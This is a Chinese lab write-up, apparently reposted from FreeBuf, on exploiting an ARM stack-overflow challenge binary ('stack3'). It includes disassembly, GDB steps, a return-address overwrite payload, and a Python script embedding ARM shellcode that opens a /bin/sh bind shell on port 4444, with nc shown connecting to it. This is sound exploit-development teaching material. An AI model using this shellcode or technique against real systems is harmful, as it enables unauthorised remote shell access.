内容简介:*本文原创作者:xiongchaochao,本文属于FreeBuf原创奖励计划,未经许可禁止转载从最开始的堆栈溢出的学习到后面三个ELF二进制可进制文件的实战,每一次的调试、下断点、查看内存数据、查看汇编代码、EXP的植入,都让我对堆栈溢出这块的知识更加牢固,那么下面继续星辰大海的征途。第四个实例stack3的分析破解,在下面分析的过程中主要是两个方面:
*本文原创作者:xiongchaochao,本文属于FreeBuf原创奖励计划,未经许可禁止转载
引言
从最开始的堆栈溢出的学习到后面三个ELF二进制可进制文件的实战,每一次的调试、下断点、查看内存数据、查看汇编代码、EXP的植入,都让我对堆栈溢出这块的知识更加牢固,那么下面继续星辰大海的征途。
第四个实例stack3的分析破解,在下面分析的过程中主要是两个方面:
1.破解文件执行流程,拿到flag:这一步主要是考验汇编能力,拓宽视野,让我知道,原来溢出还能这么来
2.shellcode覆盖(当然这一步是我自己加的),它后面有具体的例子让执行shellcode,但是我把每个例子都用shellcode利用了一遍,主要也是熟练、熟练、熟练。
这一步目前我补充了两个小点:
1.利用shellcode前一点要检查程序的保护机制,它直接影响你的shellcode是否可以执行,是否需要用别的技术绕过。
2.原来将我们的shellcode读取到栈内的截断字符不止有0×00,还有0×20,0x0a。
stack3
1.查看文件结构
file stack3:嗯,二进制可执行文件,没有剥离符号表,不过我习惯用objdump工具看汇编代码,暂时用不到符号表。不过这并不代表这一步没有用,我认为,当你拿到一个文件,你需要了解他是什么文件,它有什么有用的数据,至于要不要用是了解之后的事了。
stack3:ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32, BuildID[sha1]=b912b7ae33ba715dfdb11c03118b63718a7c1aaf, not stripped。
2.read the fack source code,读他的汇编代码
objdump -d ./stack3 gets
明显是一个溢出点,将用户的输入写到r0存储的这个地址中去,然后cmp将[fp, #-8]地址存的值和0做一个比较,如果相等就跳转到结束的地方,这是第一个分支跳转的地方,我们需要走他的另一个分支,所以我们需要满足[fp, #-8]地址存的值不等于0,很明显只有溢出才能更改这个栈地址的值,改了之后它会输出显示r0、r1的值,但是最后有一点不一样的地方,它会跳转到[fp, #-8]存放的地址中去,这时候如果我们随意输入很长的字符串来随意覆盖[fp, #-8]的位置,那么会造成下面的Segmentation fault,我们需要它正常执行,所以我们要找一个正常的地址让他跳过去,这里我们可以给[fp, #-8]位置覆盖一个0x000104dc的值它可以正常执行,这是一个正确的思路。但是在反汇编代码中有一个函数win,它会输出一句话,这也可能是出题人让我们跳转的地址,我们可以记下这个地方,调试的时候看一下这句话的内容,来选择行的跳转这两的地方都是可以的:
0001047c <win>: 1047c: e92d4800 push {fp, lr} 10480: e28db004 add fp, sp, #4 10484: e59f0004 ldr r0, [pc, #4] ; 10490 <win+0x14> 10488: ebffffa5 bl 10324 <puts@plt> 1048c: e8bd8800 pop {fp, pc} 10490: 00010560 .word 0x00010560 00010494 <main>: 10494: e92d4800 push {fp, lr} 10498: e28db004 add fp, sp, #4 1049c: e24dd050 sub sp, sp, #80 ; 0x50 104a0: e50b0050 str r0, [fp, #-80] ; 0xffffffb0 104a4: e50b1054 str r1, [fp, #-84] ; 0xffffffac 104a8: e3a03000 mov r3, #0 104ac: e50b3008 str r3, [fp, #-8] 104b0: e24b3048 sub r3, fp, #72 ; 0x48 104b4: e1a00003 mov r0, r3 104b8: ebffff96 bl 10318 <gets@plt> 104bc: e51b3008 ldr r3, [fp, #-8] 104c0: e3530000 cmp r3, #0 104c4: 0a000004 beq 104dc <main+0x48> 104c8: e59f0018 ldr r0, [pc, #24] ; 104e8 <main+0x54> 104cc: e51b1008 ldr r1, [fp, #-8] 104d0: ebffff8d bl 1030c <printf@plt> 104d4: e51b3008 ldr r3, [fp, #-8] 104d8: e12fff33 blx r3 104dc: e1a00003 mov r0, r3 104e0: e24bd004 sub sp, fp, #4 104e4: e8bd8800 pop {fp, pc} 104e8: 00010580 .word 0x00010580
随便输出长字符而造成的结果:
pi@raspberrypi:~/Desktop/ARM-challenges $ ./stack3 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 calling function pointer, jumping to 0x31313131 Segmentation fault
GDB调试
根据上面的分析,从FP-#72到FP-#8,需要填充64个字节的填充字符,再加4个字节的覆盖字符,总共68字节,我们在104bc地址下断点b *0x104bc,然后写入68字节字符,看[fp, #-8]栈地址的数据(x/2wx $fp-8)是否被覆盖。从结果来说,成功覆盖:
gef> x/2wx $fp-8 0xbeffefe4: 0x31313131 0x00000000 gef> x/s $fp-8 0xbeffefe4: "1111"
第一步完成,我们跳转到特定分支上后,紧跟着我们在第一步的基础上,先查看win函数的输出内容,x/s 0×00010560,很明显这是出题人需要我们跳转的地址,我们用0×00010560来替换最后的四字节数据:
gef> x/s 0x00010560 0x10560: "code flow successfully changed"
最终使用下面的命令:
printf '1111111111111111111111111111111111111111111111111111111111111111\x7c\x04\x01\x00' | ./stack3
来完成最后的输出:
pi@raspberrypi:~/Desktop/ARM-challenges $ printf '1111111111111111111111111111111111111111111111111111111111111111\x7c\x04\x01\x00' | ./stack3calling function pointer, jumping to 0x0001047ccode flow successfully changed
3.shellcode
利用gef插件检查程序的保护机制,没有保护,直接把shellcode写到栈内执行:
gef> checksec [+] checksec for '/home/pi/Desktop/ARM-challenges/stack3' Canary : No NX : No PIE : No Fortify : No RelRO : No
在main函数结束的位置下断点:0x000104e4,将之前的长字符写入文件exp然后,r<exp,运行过第一个分支判断,到结束的位置,观察栈空间数据,找到存储返回地址的栈地址,获取其下面的地址,如下,可以看到0xbeffeff0这个地址就是我们要跳转的地址:
0x000104e4 <+80>: pop {r11, pc}
---------------------------------------------------------------------------------------------- stack ---- 0xbeffefe8|+0x0000: 0xbeffeff0 -> 0x90909090 <-$sp 0xbeffefec|+0x0004: 0xbeffeff0 -> 0x90909090 <-$r11 0xbeffeff0|+0x0008: 0x90909090
构造 python 文件生成相应的exp:
import struct padding = "1111111111111111111111111111111111111111111111111111111111111111" win_addr = struct.pack("I", 0x0001047c) payload1 = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x01\x21\x48\x1c\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x14\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x60\x1c\x01\x38\x02\x21\x02\x37\x01\xdf\x60\x1c\x01\x38\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x60\x1c\x01\x38\x49\x1a\x3f\x27\x01\xdf\xc0\x46\x60\x1c\x01\x38\x01\x21\x01\xdf\x60\x1c\x01\x38\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58" print padding + win_addr + "\xf0\xef\xff\xbe"*2 + "\x90"*100 + payload1
执行结果:
服务端开始等待监听:
pi@raspberrypi:~/Desktop/ARM-challenges $ ./stack3 <exp calling function pointer, jumping to 0x0001047c code flow successfully changed
客户端发起连接:
pi@raspberrypi:~/Desktop/ARM-challenges $ nc -vv 127.0.0.1 4444 Connection to 127.0.0.1 4444 port [tcp/*] succeeded! whoami pi
附录:
[1] ARM汇编之内存损坏:堆栈溢出
[3] 详解大端模式和小端模式
*本文原创作者:xiongchaochao,本文属于FreeBuf原创奖励计划,未经许可禁止转载
以上所述就是小编给大家介绍的《ARM汇编之堆栈溢出实战分析三(GDB)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- ARM汇编之堆栈溢出实战分析(GDB)
- ARM汇编之堆栈溢出实战分析二(GDB)
- ARM汇编之堆栈溢出实战分析四(GDB)
- SpringBoot实战分析-MongoDB操作
- SpringBoot实战分析-Tomcat方式部署
- 二进制各种漏洞原理实战分析总结
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
风吹江南之互联网金融
陈宇(江南愤青) / 东方出版社 / 2014-6-1 / 55元
随着中国互联网金融浪潮高涨,P2P、众筹、余额宝、微信支付等新生事物层出不穷,加之大数据等时髦概念助阵,简直是乱花渐欲迷人眼,令媒体兴奋,公众狂热。那么,互联网金融真的能“颠覆”传统金融吗?当互联网思维对撞传统金融观念,是互联网金融的一统天下,还是传统金融业的自我革新?究竟是谁动了金融业的奶酪? 本书作者早期试水创立具有互联网金融雏形的网站,后来成为互联网金融的资深投资人,基于其多年在该领域......一起来看看 《风吹江南之互联网金融》 这本书的介绍吧!